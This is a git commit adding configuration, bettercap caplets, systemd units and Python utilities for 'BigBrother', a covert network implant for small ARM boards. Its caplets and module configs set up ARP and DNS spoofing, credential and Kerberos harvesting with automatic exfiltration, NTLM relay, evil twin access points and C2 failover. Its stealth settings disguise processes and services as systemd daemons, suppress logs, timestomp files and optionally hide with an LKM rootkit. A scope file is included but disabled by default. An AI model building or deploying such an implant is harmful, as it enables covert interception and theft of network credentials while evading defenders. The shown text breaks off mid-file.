Add Phase 1 utility modules: crypto, networking, logging, stealth, resource, permissions, config_loader, bettercap_api
9 files in utils/ providing the shared infrastructure layer: - crypto: AES-256-GCM file encryption, argon2id/PBKDF2 key derivation, HKDF network unlock, LUKS container management - networking: interface detection, MAC/IP helpers, BPF compilation via libpcap ctypes, gratuitous ARP, VLAN creation - logging: encrypted log writer (BBLogger) with rotation, per-module files, stdout suppression for stealth - stealth: process rename via prctl, cmdline spoofing, sysctl helpers, timestomping, core dump disable - resource: hardware tier detection (OPi Zero 3 / Pi Zero / generic) via /proc/device-tree and cpuinfo, resource monitoring - permissions: root/capability checks via capget ctypes, privilege dropping, directory permission enforcement - config_loader: YAML merge hierarchy (hardware_tiers -> bigbrother -> modules -> stealth -> CLI), tier auto-detection, SIGHUP reload - bettercap_api: REST client with per-session random credentials, session/events/command methods
This commit is contained in:
+11
@@ -0,0 +1,11 @@
|
||||
storage/
|
||||
*.pyc
|
||||
__pycache__/
|
||||
.venv/
|
||||
*.db
|
||||
!data/*.db
|
||||
.env
|
||||
*.log
|
||||
*.pcap
|
||||
*.pcap.zst
|
||||
*.pcap.zst.enc
|
||||
@@ -0,0 +1,96 @@
|
||||
# BigBrother Master Configuration
|
||||
# Non-sensitive defaults only. Keys, auth tokens, engagement data
|
||||
# stored in storage/config/ inside LUKS container.
|
||||
#
|
||||
# Platform: Orange Pi Zero 3 (primary), RPi Zero 2W (jumpbox), Debian host
|
||||
# See hardware_tiers.yaml for tier-specific limits.
|
||||
|
||||
device:
|
||||
platform: "auto" # auto | opi_zero3 | pi_zero | generic
|
||||
hostname: "iot-sensor-03" # Matches selected MAC profile
|
||||
install_path: "/opt/.cache/bb" # OPSEC: innocuous install path
|
||||
|
||||
network:
|
||||
primary_interface: "auto" # auto-detect active interface
|
||||
bridge:
|
||||
enabled: false
|
||||
internal: "eth0" # LAN-side (target network)
|
||||
external: "eth1" # WAN-side (uplink)
|
||||
wifi:
|
||||
interface: "wlan0"
|
||||
cellular:
|
||||
enabled: false
|
||||
modem_device: "/dev/ttyUSB0" # SIM7600/EC25 via 13-pin header USB
|
||||
scope_enforcement: false # Enforce scope.yaml restrictions
|
||||
scope_file: null # Path to scope.yaml override
|
||||
|
||||
connectivity:
|
||||
# WireGuard primary: zero traffic when idle (PersistentKeepalive=0),
|
||||
# instant access when operator sends a packet. No beacons, no heartbeats,
|
||||
# no coordination servers. Completely silent while idle.
|
||||
primary: "wireguard"
|
||||
failover_chain:
|
||||
- wireguard
|
||||
- tailscale
|
||||
- reverse_ssh
|
||||
- cellular
|
||||
wireguard:
|
||||
endpoint: "" # operator-controlled WG endpoint (host:port)
|
||||
private_key_file: "storage/config/wg_private.key"
|
||||
peer_public_key: ""
|
||||
allowed_ips: "10.99.0.0/24"
|
||||
tailscale:
|
||||
auth_key: "" # Per-engagement auth key
|
||||
hostname: "" # Matches MAC profile hostname
|
||||
reverse_ssh:
|
||||
relay_host: ""
|
||||
relay_port: 22
|
||||
relay_user: "bb"
|
||||
key_file: "storage/config/ssh_relay.key"
|
||||
|
||||
security:
|
||||
encryption: "aes-256-gcm" # PCAP + credential encryption
|
||||
encryption_key_derive: "argon2id" # argon2id | pbkdf2 (RPi Zero 2W)
|
||||
luks_container: "storage/encrypted.luks"
|
||||
kill_switch_enabled: true
|
||||
dead_man_switch:
|
||||
enabled: false
|
||||
interval_hours: 72 # Auto-wipe if no operator checkin
|
||||
|
||||
capture:
|
||||
interface: "auto" # auto-detect or explicit interface
|
||||
snap_length: 65535 # Full packet capture
|
||||
pcap_rotation_hours: 1 # Rotate PCAP every hour
|
||||
pcap_compression: "zstd"
|
||||
pcap_compression_level: 19 # OPi Zero 3: -19 (max). RPi Zero 2W: auto-downgrade to -3
|
||||
pcap_format: "pcapng"
|
||||
pcap_encryption: true # AES-256-GCM post-compression
|
||||
bpf_filter: "full_capture" # Reference to data/bpf_filters/<name>.bpf
|
||||
disk_max_pct: 85 # Auto-purge oldest PCAPs above this threshold
|
||||
|
||||
stealth:
|
||||
mac_profile: "auto" # auto | streaming | printer | iot | <specific device_name>
|
||||
mac_network_type: "auto" # auto | business | home
|
||||
process_disguise: true # Rename all processes to system service names
|
||||
log_suppression: true # Suppress syslog/auditd/journald evidence
|
||||
overlayfs: true # Read-only root + tmpfs overlay (SD protection)
|
||||
traffic_mimicry: true # Shape exfil to match baseline patterns
|
||||
|
||||
baseline:
|
||||
duration_hours: 48 # Traffic baseline collection period
|
||||
auto_start: true # Begin baseline on first boot
|
||||
|
||||
engagement_phase:
|
||||
mode: "passive_only" # passive_only | active_allowed
|
||||
passive_days: 7 # Minimum passive-only observation period
|
||||
auto_transition: true # Auto-allow active after passive_days
|
||||
active_allowed_after: null # ISO timestamp override (manual scheduling)
|
||||
|
||||
bettercap:
|
||||
binary: "/usr/local/bin/bettercap"
|
||||
api_address: "127.0.0.1" # Localhost only -- never network-visible
|
||||
api_port: 8083
|
||||
api_user: "bb"
|
||||
# api_password generated per-session, stored in memory only
|
||||
default_caplet: "passive_recon"
|
||||
caplets_path: "config/caplets"
|
||||
@@ -0,0 +1,5 @@
|
||||
set arp.spoof.fullduplex true
|
||||
set arp.spoof.internal false
|
||||
# targets set dynamically via API
|
||||
arp.spoof on
|
||||
net.sniff on
|
||||
@@ -0,0 +1,3 @@
|
||||
set dns.spoof.all false
|
||||
# domains set dynamically via API
|
||||
dns.spoof on
|
||||
@@ -0,0 +1,7 @@
|
||||
set arp.spoof.fullduplex true
|
||||
set arp.spoof.internal false
|
||||
set http.proxy.sslstrip false
|
||||
set net.sniff.verbose false
|
||||
arp.spoof on
|
||||
http.proxy on
|
||||
net.sniff on
|
||||
@@ -0,0 +1,6 @@
|
||||
set net.sniff.verbose false
|
||||
set net.sniff.local true
|
||||
set net.sniff.output /tmp/bb_sniff.pcap
|
||||
net.recon on
|
||||
net.sniff on
|
||||
events.stream on
|
||||
@@ -0,0 +1,2 @@
|
||||
wifi.recon on
|
||||
wifi.show
|
||||
@@ -0,0 +1,65 @@
|
||||
# BigBrother Hardware Tier Definitions
|
||||
# Platform-specific resource limits and capability gates.
|
||||
# Platform auto-detected at boot or set in bigbrother.yaml.
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Orange Pi Zero 3 (4GB) — Primary Implant
|
||||
# Allwinner H618, 4x Cortex-A53 @ 1.5GHz, WiFi 5 + BT 5.0, 1x GbE
|
||||
# Dimensions: 50x55mm, ~$29, 0.8W idle / ~3.5W load
|
||||
# OS: Armbian Debian 12 Bookworm
|
||||
# ---------------------------------------------------------------------------
|
||||
opi_zero3:
|
||||
max_passive: 16 # All passive modules supported
|
||||
max_active: 6 # Concurrent active module limit
|
||||
max_ram_mb: 3800 # ~4GB minus OS overhead
|
||||
zstd_level: 19 # Max compression (10-15x on PCAPs)
|
||||
kdf: "argon2id" # Strong key derivation
|
||||
mitmproxy: true # 100-200MB RAM — fits in budget
|
||||
lkm: false # No kernel headers on Armbian
|
||||
cellular: true # Via 13-pin header USB breakout
|
||||
overlayfs_mb: 200 # tmpfs overlay size
|
||||
thermal_warning: 55 # Celsius — needs heatsink
|
||||
thermal_shed: 70 # Shed active modules at this temp
|
||||
wifi_attacks: true # Built-in WiFi 5 supports evil twin
|
||||
inline_bridge: true # Via USB Ethernet adapter
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Raspberry Pi Zero 2W — Jumpbox / Beacon
|
||||
# BCM2710A1, 4x Cortex-A53 @ 1.0GHz, WiFi 4, no Ethernet (USB adapter)
|
||||
# 512MB RAM — lightweight passive sniffing + callback beacon only.
|
||||
# No active attack capability. Deploy as decoy/expendable.
|
||||
# ---------------------------------------------------------------------------
|
||||
pi_zero:
|
||||
max_passive: 4 # dns_logger, credential_sniffer, host_discovery, +1
|
||||
max_active: 0 # No active modules — jumpbox only
|
||||
max_ram_mb: 410 # 512MB minus OS (~110MB)
|
||||
zstd_level: 3 # Fast mode (5-8x compression, minimal CPU)
|
||||
kdf: "pbkdf2" # argon2id too expensive for 512MB
|
||||
mitmproxy: false # Way too much RAM
|
||||
lkm: false # No kernel headers
|
||||
cellular: false # No USB header
|
||||
overlayfs_mb: 30 # Minimal tmpfs overlay
|
||||
thermal_warning: 55 # Celsius
|
||||
thermal_shed: 70 # Shed modules at this temp
|
||||
wifi_attacks: false # WiFi 4 too weak for evil twin
|
||||
inline_bridge: false # No Ethernet port
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Generic Debian Host — Full Capability
|
||||
# Any x86_64/aarch64 Debian host. No hardware constraints.
|
||||
# Supports all modules including LKM rootkit.
|
||||
# ---------------------------------------------------------------------------
|
||||
generic:
|
||||
max_passive: 16 # All passive modules
|
||||
max_active: 99 # Effectively unlimited
|
||||
max_ram_mb: null # No artificial limit
|
||||
zstd_level: 19 # Max compression
|
||||
kdf: "argon2id" # Strong key derivation
|
||||
mitmproxy: true # Plenty of RAM
|
||||
lkm: true # Kernel headers available
|
||||
cellular: true # If USB modem attached
|
||||
overlayfs_mb: null # Not needed on full host
|
||||
thermal_warning: 80 # Server-grade thermal limits
|
||||
thermal_shed: 95 # Server-grade thermal limits
|
||||
wifi_attacks: true # If wireless adapter present
|
||||
inline_bridge: true # Dual NIC supported
|
||||
@@ -0,0 +1,307 @@
|
||||
# BigBrother Module Configuration
|
||||
# Per-module enable/disable and parameters.
|
||||
# Modules gated by hardware tier and engagement phase.
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Passive Modules (16) — metadata extraction, zero network noise
|
||||
# ---------------------------------------------------------------------------
|
||||
passive:
|
||||
packet_capture:
|
||||
enabled: true
|
||||
description: "tcpdump wrapper + zstd + AES-256-GCM rotation pipeline"
|
||||
rotation_hours: 1
|
||||
snap_length: 65535
|
||||
max_pcap_files: 168 # 1 week at hourly rotation
|
||||
disk_purge_pct: 85
|
||||
|
||||
dns_logger:
|
||||
enabled: true
|
||||
description: "Per-host DNS query log to SQLite"
|
||||
batch_size: 1000
|
||||
flush_interval_s: 60
|
||||
flag_doh_resolvers: true # Flag DoH blind spots (1.1.1.1, 8.8.8.8, 9.9.9.9)
|
||||
|
||||
tls_sni_extractor:
|
||||
enabled: true
|
||||
description: "TLS ClientHello SNI extraction to SQLite"
|
||||
|
||||
credential_sniffer:
|
||||
enabled: true
|
||||
description: "Cleartext + NTLM credential extraction"
|
||||
auto_exfil: true # Immediate push via data_exfil
|
||||
protocols:
|
||||
- ftp
|
||||
- http_basic
|
||||
- http_digest
|
||||
- http_form
|
||||
- snmp
|
||||
- ldap_simple
|
||||
- ntlmv1
|
||||
- ntlmv2
|
||||
|
||||
kerberos_harvester:
|
||||
enabled: true
|
||||
description: "AS-REP/TGS-REP ticket extraction for offline cracking"
|
||||
auto_exfil: true # Tickets expire -- immediate push
|
||||
|
||||
host_discovery:
|
||||
enabled: true
|
||||
description: "Passive host inventory (ARP/DHCP/mDNS/NetBIOS/SSDP/LLMNR)"
|
||||
dhcp_fingerprinting: true
|
||||
|
||||
os_fingerprint:
|
||||
enabled: true
|
||||
description: "p0f-style passive TCP/HTTP/DHCP/SMB/SSH fingerprinting"
|
||||
|
||||
traffic_analyzer:
|
||||
enabled: true
|
||||
description: "Flow tracking, beacon detection, top talkers, bandwidth profiling"
|
||||
beacon_threshold_s: 60 # Min interval to flag as beacon
|
||||
beacon_min_count: 10 # Min occurrences to confirm beacon
|
||||
|
||||
vlan_discovery:
|
||||
enabled: true
|
||||
description: "802.1Q/DTP/STP/CDP/LLDP/802.1X detection"
|
||||
|
||||
network_mapper:
|
||||
enabled: true
|
||||
description: "Communication graph construction (all-pairs, protocol/volume)"
|
||||
snapshot_interval_hours: 4
|
||||
|
||||
auth_flow_tracker:
|
||||
enabled: true
|
||||
description: "Cross-protocol auth correlation (Kerberos/NTLM/SSH/LDAP)"
|
||||
|
||||
smb_monitor:
|
||||
enabled: true
|
||||
description: "SMB2/3 share/file access metadata, GPP/SYSVOL detection"
|
||||
|
||||
cloud_token_harvester:
|
||||
enabled: true
|
||||
description: "Passive AWS/JWT/OAuth token extraction from cleartext HTTP"
|
||||
|
||||
ldap_harvester:
|
||||
enabled: true
|
||||
description: "LDAP query/response parsing, AD object inventory"
|
||||
|
||||
rdp_monitor:
|
||||
enabled: true
|
||||
description: "RDP NLA username/hostname/domain extraction"
|
||||
|
||||
quic_analyzer:
|
||||
enabled: true
|
||||
description: "QUIC Initial packet SNI extraction (RFC 9000/9001)"
|
||||
|
||||
db_interceptor:
|
||||
enabled: false # Enable per-engagement if DB traffic expected
|
||||
description: "TDS/MySQL/PostgreSQL/Redis/MongoDB login + query metadata"
|
||||
protocols:
|
||||
- mssql
|
||||
- mysql
|
||||
- postgresql
|
||||
- redis
|
||||
- mongodb
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Active Modules (8) — operator-enabled, bettercap + tool wrappers
|
||||
# Gated by engagement_phase.mode == active_allowed
|
||||
# ---------------------------------------------------------------------------
|
||||
active:
|
||||
bettercap_mgr:
|
||||
enabled: true
|
||||
description: "Central bettercap orchestrator (REST API lifecycle)"
|
||||
max_restarts: 3
|
||||
health_poll_interval_s: 10
|
||||
arp_restore_on_crash: true # Send corrective gratuitous ARPs on crash
|
||||
|
||||
arp_spoof:
|
||||
enabled: false # OPSEC WARNING: most-detected technique
|
||||
description: "ARP spoofing via bettercap (full-duplex, selective targeting)"
|
||||
targets: [] # Specific IPs only -- never subnet
|
||||
gateway: "auto"
|
||||
|
||||
dns_poison:
|
||||
enabled: false
|
||||
description: "DNS poisoning via bettercap dns.spoof"
|
||||
domains: {} # domain: target_ip mapping
|
||||
mode: "selective" # selective | all
|
||||
|
||||
dhcp_spoof:
|
||||
enabled: false
|
||||
description: "DHCPv6 spoofing via bettercap dhcp6.spoof"
|
||||
pool_start: ""
|
||||
pool_end: ""
|
||||
|
||||
evil_twin:
|
||||
enabled: false
|
||||
description: "hostapd + dnsmasq rogue AP with captive portal"
|
||||
ssid: ""
|
||||
channel: 6
|
||||
portal: "corporate_login" # Template from templates/captive_portals/
|
||||
wids_observation_hours: 2 # Run wireless IDS detection before activation
|
||||
|
||||
ipv6_slaac:
|
||||
enabled: false
|
||||
description: "IPv6 SLAAC spoofing (bettercap dhcp6.spoof + mitm6 WPAD)"
|
||||
|
||||
responder_mgr:
|
||||
enabled: false
|
||||
description: "Responder subprocess wrapper (LLMNR/NBT-NS/mDNS poisoning)"
|
||||
protocols:
|
||||
llmnr: true
|
||||
nbtns: true
|
||||
mdns: true
|
||||
analyze_mode: false # Analyze only, no poisoning
|
||||
|
||||
mitmproxy_mgr:
|
||||
enabled: false # OPi Zero 3+ only (100-200MB RAM)
|
||||
description: "mitmproxy transparent mode with addon scripts"
|
||||
addons:
|
||||
- credential_extractor
|
||||
- cloud_token_extractor
|
||||
ca_cn: "" # Override default CA CN to match target PKI
|
||||
|
||||
ntlm_relay:
|
||||
enabled: false
|
||||
description: "ntlmrelayx subprocess wrapper (SMB/LDAP/ADCS relay)"
|
||||
targets: []
|
||||
attack: "smb" # smb | ldap | ldaps | http | mssql | adcs
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Stealth Modules (12) — OPSEC layer
|
||||
# ---------------------------------------------------------------------------
|
||||
stealth:
|
||||
mac_manager:
|
||||
enabled: true
|
||||
description: "Innocuous MAC profile database + DHCP/TCP stack spoofing"
|
||||
|
||||
process_disguise:
|
||||
enabled: true
|
||||
description: "Rename all processes (Python/bettercap/tcpdump) to system services"
|
||||
|
||||
log_suppression:
|
||||
enabled: true
|
||||
description: "rsyslog filter, auditd exclusion, journald rate-limit, history clear"
|
||||
|
||||
encrypted_storage:
|
||||
enabled: true
|
||||
description: "LUKS encrypted storage with network-derived key"
|
||||
|
||||
tmpfs_manager:
|
||||
enabled: true
|
||||
description: "tmpfs for active module working dirs (power loss = destruction)"
|
||||
|
||||
watchdog:
|
||||
enabled: true
|
||||
description: "Monitor all services + subprocesses, auto-restart (max 3)"
|
||||
|
||||
anti_forensics:
|
||||
enabled: true
|
||||
description: "Timestomp, secure deletion, no core dumps, no swap"
|
||||
|
||||
traffic_mimicry:
|
||||
enabled: true
|
||||
description: "Shape implant traffic to match 48h baseline patterns"
|
||||
|
||||
ja3_spoofer:
|
||||
enabled: true
|
||||
description: "Chrome/Firefox/Edge JA3 on all outbound HTTPS"
|
||||
|
||||
ids_tester:
|
||||
enabled: true
|
||||
description: "Check planned actions against Snort/Suricata rules"
|
||||
|
||||
lkm_rootkit:
|
||||
enabled: false # Debian host only, requires kernel headers
|
||||
description: "LKM to hide processes/files/connections from /proc"
|
||||
|
||||
overlayfs_manager:
|
||||
enabled: true
|
||||
description: "Read-only root FS + tmpfs overlay (zero SD writes)"
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Intelligence Modules (8) — on-device analysis + aggregation
|
||||
# ---------------------------------------------------------------------------
|
||||
intel:
|
||||
credential_db:
|
||||
enabled: true
|
||||
description: "Central credential store (bettercap/Responder/mitmproxy ingestion)"
|
||||
dedup: true
|
||||
export_formats:
|
||||
- hashcat
|
||||
- csv
|
||||
- json
|
||||
|
||||
topology_mapper:
|
||||
enabled: true
|
||||
description: "Network topology aggregation + Graphviz DOT/SVG output"
|
||||
|
||||
net_intel:
|
||||
enabled: true
|
||||
description: "Beacon/C2 detection, anomaly baseline, service dependency mapping"
|
||||
|
||||
user_timeline:
|
||||
enabled: true
|
||||
description: "Per-user activity timeline (logins, services, files, websites)"
|
||||
|
||||
supply_chain_detect:
|
||||
enabled: true
|
||||
description: "Detect internal repos, WSUS, CA, SCCM, container registries, CI/CD"
|
||||
|
||||
change_detector:
|
||||
enabled: true
|
||||
description: "Continuous baseline diff (new hosts, services, scan activity)"
|
||||
check_interval_s: 300
|
||||
|
||||
security_posture:
|
||||
enabled: true
|
||||
description: "Detect EDR/SIEM/NAC/honeypots/vuln scanners/network taps"
|
||||
|
||||
operator_audit:
|
||||
enabled: true
|
||||
description: "Append-only HMAC-chained SSH session + command audit trail"
|
||||
|
||||
tool_output_parser:
|
||||
enabled: true
|
||||
description: "Parse bettercap events, Responder logs, mitmproxy flows"
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Connectivity Modules (8) — operator access + data exfil
|
||||
# ---------------------------------------------------------------------------
|
||||
connectivity:
|
||||
wireguard:
|
||||
enabled: true
|
||||
description: "Primary C2 -- zero traffic when idle, instant on demand"
|
||||
persistent_keepalive: 0 # Silent until operator connects
|
||||
|
||||
tailscale:
|
||||
enabled: false # Only if WG blocked or target has existing TS traffic
|
||||
description: "Fallback mesh VPN via Tailscale"
|
||||
|
||||
bridge:
|
||||
enabled: false
|
||||
description: "Transparent inline bridge (802.1X bypass, STP/CDP suppression)"
|
||||
failsafe_timeout_s: 15 # C watchdog failsafe
|
||||
|
||||
wifi_client:
|
||||
enabled: false
|
||||
description: "WPA2-PSK/Enterprise WiFi client via wpa_supplicant"
|
||||
|
||||
reverse_tunnel:
|
||||
enabled: false
|
||||
description: "autossh reverse SSH (over WebSocket or TLS, never raw on 443)"
|
||||
|
||||
cellular_backup:
|
||||
enabled: false # OPi Zero 3+ only (13-pin header USB)
|
||||
description: "LTE modem out-of-band backup (SIM7600/EC25)"
|
||||
|
||||
ble_emergency:
|
||||
enabled: false
|
||||
description: "BLE GATT server for emergency status/kill/reboot (PSK auth)"
|
||||
|
||||
data_exfil:
|
||||
enabled: true
|
||||
description: "Priority push (creds), nightly sync (intel), on-demand pull (PCAPs)"
|
||||
cred_push_immediate: true
|
||||
intel_sync_hour: 3 # 03:00 local time
|
||||
respect_mimicry: true # Shape to baseline traffic patterns
|
||||
@@ -0,0 +1,28 @@
|
||||
# BigBrother Scope Enforcement
|
||||
# Optional. When enabled, all passive/active modules respect these boundaries.
|
||||
# Prevents accidental out-of-scope activity during engagements.
|
||||
|
||||
enabled: false
|
||||
|
||||
# In-scope target networks (CIDR notation)
|
||||
networks: []
|
||||
# - 10.10.0.0/16
|
||||
# - 10.0.0.0/24
|
||||
|
||||
# In-scope individual hosts (IP or FQDN)
|
||||
hosts: []
|
||||
# - dc01.corp.local
|
||||
# - 10.10.1.50
|
||||
|
||||
# In-scope domains (wildcard matching)
|
||||
domains: []
|
||||
# - corp.local
|
||||
# - internal.example.com
|
||||
|
||||
# Excluded networks — always out of scope (overrides networks/hosts above)
|
||||
exclude_networks: []
|
||||
# - 10.10.99.0/24 # OT segment
|
||||
|
||||
# Excluded hosts — always out of scope
|
||||
exclude_hosts: []
|
||||
# - 10.10.1.1 # Production gateway
|
||||
@@ -0,0 +1,53 @@
|
||||
# BigBrother Stealth / OPSEC Profile
|
||||
# Process disguise, log suppression, anti-forensics, traffic mimicry.
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Process Name Disguise
|
||||
# All managed processes renamed to innocuous system service names.
|
||||
# /proc/PID/exe still points to real binary (unavoidable without LKM).
|
||||
# ---------------------------------------------------------------------------
|
||||
process_names:
|
||||
python3: "systemd-thermald"
|
||||
bettercap: "networkd-dispatcher"
|
||||
tcpdump: "systemd-netlogd"
|
||||
responder: "systemd-resolved"
|
||||
mitmproxy: "systemd-networkd"
|
||||
ntlmrelayx: "systemd-logind"
|
||||
hostapd: "wpa_supplicant"
|
||||
dnsmasq: "systemd-resolved"
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Log Suppression
|
||||
# Minimize forensic artifacts in system logs.
|
||||
# ---------------------------------------------------------------------------
|
||||
log_suppression:
|
||||
rsyslog_filter: true # Drop log entries matching our processes/paths
|
||||
auditd_exclusion: true # Exclude our PIDs/paths from audit rules
|
||||
journald_rate_limit: true # Rate-limit journal entries from our services
|
||||
bash_history: false # Disable bash history for root/.bashrc
|
||||
utmp_wtmp: false # Suppress login records (utmp/wtmp/btmp)
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Anti-Forensics
|
||||
# Minimize on-disk evidence.
|
||||
# ---------------------------------------------------------------------------
|
||||
anti_forensics:
|
||||
timestomp: true # Match all file timestamps to reference file
|
||||
timestomp_reference: "/etc/os-release" # Use OS install date as reference
|
||||
core_dumps: false # Disable core dumps (ulimit -c 0)
|
||||
swap: false # Disable swap entirely (swapoff -a)
|
||||
secure_delete: true # Overwrite before unlink for sensitive files
|
||||
bettercap_home_tmpfs: true # Set $HOME to tmpfs (no ~/.bettercap/ artifacts)
|
||||
bettercap_no_history: true # --no-history flag for bettercap
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Traffic Mimicry
|
||||
# Shape implant traffic to match observed network baseline.
|
||||
# ---------------------------------------------------------------------------
|
||||
traffic_mimicry:
|
||||
enabled: true
|
||||
baseline_hours: 48 # Duration of traffic baseline collection
|
||||
shape_exfil: true # Time and size exfil to match upload patterns
|
||||
match_protocols: true # Use same protocols as observed traffic
|
||||
match_timing: true # Match time-of-day activity patterns
|
||||
jitter_pct: 15 # Random jitter on all timed operations
|
||||
@@ -0,0 +1,2 @@
|
||||
# HTTP Basic/NTLM auth, FTP, Telnet, SMTP, POP3, IMAP, LDAP bind, Kerberos AS-REQ
|
||||
port 80 or port 21 or port 23 or port 25 or port 110 or port 143 or port 389 or port 88 or port 445
|
||||
@@ -0,0 +1,2 @@
|
||||
# ARP, DHCP, mDNS, SSDP, LLMNR, NetBIOS
|
||||
arp or port 67 or port 68 or port 5353 or port 1900 or port 5355 or port 137 or port 138
|
||||
@@ -0,0 +1 @@
|
||||
port 53
|
||||
@@ -0,0 +1 @@
|
||||
# Everything — no filter
|
||||
@@ -0,0 +1,12 @@
|
||||
click>=8.1
|
||||
rich>=13.0
|
||||
pyyaml>=6.0
|
||||
cryptography>=41.0
|
||||
scapy>=2.5
|
||||
requests>=2.31
|
||||
dpkt>=1.9
|
||||
zstandard>=0.22
|
||||
python-magic>=0.4
|
||||
dnslib>=0.9
|
||||
argon2-cffi>=23.1
|
||||
jinja2>=3.1
|
||||
@@ -0,0 +1,17 @@
|
||||
[Unit]
|
||||
Description=Network Interface Statistics Collector
|
||||
After=bigbrother-core.service
|
||||
Requires=bigbrother-core.service
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
ExecStart=/usr/bin/tcpdump -i any -s 65535 -w /opt/.cache/bb/storage/pcaps/capture.pcap -G 3600 -z /opt/.cache/bb/scripts/rotate_pcap.sh
|
||||
WorkingDirectory=/opt/.cache/bb
|
||||
Restart=on-failure
|
||||
RestartSec=5
|
||||
User=root
|
||||
StandardOutput=null
|
||||
StandardError=null
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
@@ -0,0 +1,17 @@
|
||||
[Unit]
|
||||
Description=System Thermal Management Daemon
|
||||
After=network-online.target
|
||||
Wants=network-online.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
ExecStart=/opt/.cache/bb/.venv/bin/python3 /opt/.cache/bb/bigbrother.py start --daemon
|
||||
WorkingDirectory=/opt/.cache/bb
|
||||
Restart=on-failure
|
||||
RestartSec=10
|
||||
User=root
|
||||
StandardOutput=null
|
||||
StandardError=null
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
@@ -0,0 +1,17 @@
|
||||
[Unit]
|
||||
Description=System Health Monitor
|
||||
After=bigbrother-core.service
|
||||
Requires=bigbrother-core.service
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
ExecStart=/opt/.cache/bb/.venv/bin/python3 -c "from core.resource_monitor import ResourceMonitor; ResourceMonitor().run()"
|
||||
WorkingDirectory=/opt/.cache/bb
|
||||
Restart=always
|
||||
RestartSec=30
|
||||
User=root
|
||||
StandardOutput=null
|
||||
StandardError=null
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
@@ -0,0 +1,16 @@
|
||||
from utils.crypto import encrypt_file, decrypt_file, derive_key, CryptoEngine
|
||||
from utils.networking import (
|
||||
get_primary_interface, get_bridge_candidates, get_wifi_interfaces,
|
||||
get_mac, set_mac, get_ip, compile_bpf, send_gratuitous_arp,
|
||||
interface_up, interface_down, create_vlan_interface,
|
||||
)
|
||||
from utils.logging import BBLogger
|
||||
from utils.stealth import (
|
||||
rename_process, spoof_cmdline, set_sysctl, timestomp, disable_core_dumps,
|
||||
)
|
||||
from utils.resource import HardwareInfo, get_hardware_tier, get_resource_usage
|
||||
from utils.permissions import (
|
||||
check_root, check_capability, drop_privileges, enforce_directory_permissions,
|
||||
)
|
||||
from utils.config_loader import load_config, ConfigLoader
|
||||
from utils.bettercap_api import BettercapAPI
|
||||
@@ -0,0 +1,98 @@
|
||||
#!/usr/bin/env python3
|
||||
"""REST client for bettercap API."""
|
||||
|
||||
import secrets
|
||||
import string
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
import requests
|
||||
from requests.auth import HTTPBasicAuth
|
||||
|
||||
|
||||
class BettercapAPI:
|
||||
def __init__(
|
||||
self,
|
||||
host: str = "127.0.0.1",
|
||||
port: int = 8083,
|
||||
user: str = "bb",
|
||||
password: Optional[str] = None,
|
||||
timeout: int = 10,
|
||||
):
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.user = user
|
||||
self.password = password or self._generate_password()
|
||||
self.timeout = timeout
|
||||
self._base_url = f"http://{host}:{port}/api"
|
||||
self._auth = HTTPBasicAuth(self.user, self.password)
|
||||
self._session = requests.Session()
|
||||
self._session.auth = self._auth
|
||||
self._session.headers.update({"Content-Type": "application/json"})
|
||||
|
||||
@staticmethod
|
||||
def _generate_password(length: int = 32) -> str:
|
||||
alphabet = string.ascii_letters + string.digits
|
||||
return "".join(secrets.choice(alphabet) for _ in range(length))
|
||||
|
||||
def _request(self, method: str, endpoint: str, **kwargs) -> requests.Response:
|
||||
url = f"{self._base_url}/{endpoint.lstrip('/')}"
|
||||
kwargs.setdefault("timeout", self.timeout)
|
||||
try:
|
||||
resp = self._session.request(method, url, **kwargs)
|
||||
resp.raise_for_status()
|
||||
return resp
|
||||
except requests.exceptions.ConnectionError:
|
||||
raise ConnectionError(f"Cannot connect to bettercap at {self.host}:{self.port}")
|
||||
except requests.exceptions.Timeout:
|
||||
raise TimeoutError(f"Request to bettercap timed out after {self.timeout}s")
|
||||
|
||||
def run(self, command: str) -> Dict[str, Any]:
|
||||
resp = self._request("POST", "session", json={"cmd": command})
|
||||
return resp.json()
|
||||
|
||||
def get_session(self) -> Dict[str, Any]:
|
||||
resp = self._request("GET", "session")
|
||||
return resp.json()
|
||||
|
||||
def get_events(self, since: Optional[int] = None) -> List[Dict[str, Any]]:
|
||||
params = {}
|
||||
if since is not None:
|
||||
params["n"] = since
|
||||
resp = self._request("GET", "events", params=params)
|
||||
return resp.json()
|
||||
|
||||
def is_alive(self) -> bool:
|
||||
try:
|
||||
self.get_session()
|
||||
return True
|
||||
except (ConnectionError, TimeoutError, requests.exceptions.RequestException):
|
||||
return False
|
||||
|
||||
def start_module(self, module: str) -> Dict[str, Any]:
|
||||
return self.run(f"{module} on")
|
||||
|
||||
def stop_module(self, module: str) -> Dict[str, Any]:
|
||||
return self.run(f"{module} off")
|
||||
|
||||
def set_parameter(self, param: str, value: str) -> Dict[str, Any]:
|
||||
return self.run(f"set {param} {value}")
|
||||
|
||||
def get_hosts(self) -> List[Dict[str, Any]]:
|
||||
session = self.get_session()
|
||||
return session.get("lan", {}).get("hosts", [])
|
||||
|
||||
def load_caplet(self, caplet_path: str) -> Dict[str, Any]:
|
||||
return self.run(f"caplet.load {caplet_path}")
|
||||
|
||||
@property
|
||||
def credentials(self) -> Dict[str, str]:
|
||||
return {"user": self.user, "password": self.password}
|
||||
|
||||
@property
|
||||
def api_flags(self) -> List[str]:
|
||||
return [
|
||||
"-api-rest-address", self.host,
|
||||
"-api-rest-port", str(self.port),
|
||||
"-api-rest-username", self.user,
|
||||
